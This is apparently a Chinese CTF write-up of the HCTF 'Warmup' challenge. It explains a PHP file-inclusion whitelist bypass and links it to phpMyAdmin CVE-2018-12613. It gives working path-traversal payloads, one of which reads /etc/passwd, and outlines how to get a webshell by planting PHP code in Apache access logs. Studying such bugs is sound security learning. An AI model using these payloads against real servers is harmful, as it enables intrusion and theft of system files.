文件包含
蒻姬我最开始接触这个 是一道buuoj的web签到题
![HCTF Warmup]( "HCTF Warmup")
进入靶机，查看源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
划重点
进入这个php源
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
再次划重点
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看
有思路了
只要通过这个判断就会执行file传递的参数的文件，想到可能时任意文件包含。
通过引入文件时，引用的文件名，用户可控，由于传入的文件名没有经过合理的校验，或者检验被绕过，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。
- 再看if中的判断，file参数不为空&&是个字符串&&通过checkFile方法的检验。去看checkFIle方法。
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
看，hint.php 在白名单里！
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
进入hint.php 看到这样一行提示
flag not here, and flag in ffffllllaaaagggg
再回想前面条件，首先必须存在并且是字符串
（必须使函数返回为true才能访问文件）
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
然后判断参数是否在白名单中；
mb_strpos()的作用是查找字符串在另一个字符串中首次出现的位置,即？在前面字符串中出现的位置
而mb_substr()用以截断字符串。
然后和白名单比较。
又重复了一次上面的操作。
这个涉及到phpMyAdmin的一个洞CVE-2018-12613，由于PHP会自动urldecode一次，导致我们提交%253f（?的urlencode的urlencode）的时候自动转成%3f，满足if条件，%253f/就会被认为是一个目录，从而include。就有了下面的转化
? --> %3f --> %253f
payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg
关于cve-2018-12613-PhpMyadmin后台文件包含
2018年6月19日，phpmyadmin在最新版本修复了一个严重级别的漏洞.
https://www.phpmyadmin.net/security/PMASA-2018-4/
官方漏洞描述是这样的
An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of,
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login
requirement and runs the vulnerable code without any authentication).
问题在index.php的55~63:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里对于参数共有5个判断，判断通过就可以通过Include包含文件。
问题出在后两个上
$target_blacklist = array (
'import.php', 'export.php'
);
以及
Core::checkPageValidity($_REQUEST['target']):
代码在librariesclassesCore.php的443~476：
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
看，这跟上面的代码几乎是一个模子里刻出来的
然后康康验证的白名单whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
之后phpMyAdmin的开发团队考虑到了target后面加参数的情况，通过字符串分割将问号的前面部分取出，继续匹配白名单，然后经过一遍urldecode后再重复动作。
得到payload
target=db_datadict.php%253f/../../../../../../../../etc/passwd
此处再次分析胡扯文件包含漏洞的具体产生原因
- 程序员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，文件调用的过程一般被称为文件包含。
- 他们希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，
- 但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。
- 几乎所有脚本语言都会提供文件包含的功能，但文件包含漏洞在PHP Web Application中居多而在JSP、ASP、程序中却非常少，甚至没有，这是本身语言设计的弊端(猜测
Getshell
- 上传图片GETshell
- 读取文件，读取php文件
- 包含日志文件获取webshell
- 首先找到文件存放位置
有权限读取apache配置文件或是/etc/init.d/httpd
默认位置/var/log/httpd/access_log
- 让日志文件插入php代码
发送url请求时后插入php代码，一般使用burp suite抓包修改
curl发包
插入到get请求，或是user-agent部分
- 包含日志文件（必须要权限包含）
举个栗子
if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}
其中$_GET[page]使用户可以控制变量。如果没有严格的过滤就导致漏洞的出现
代码审计
包含文件的函数
- include()
- include_once()
- require()
- require_once()
参考链接http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613
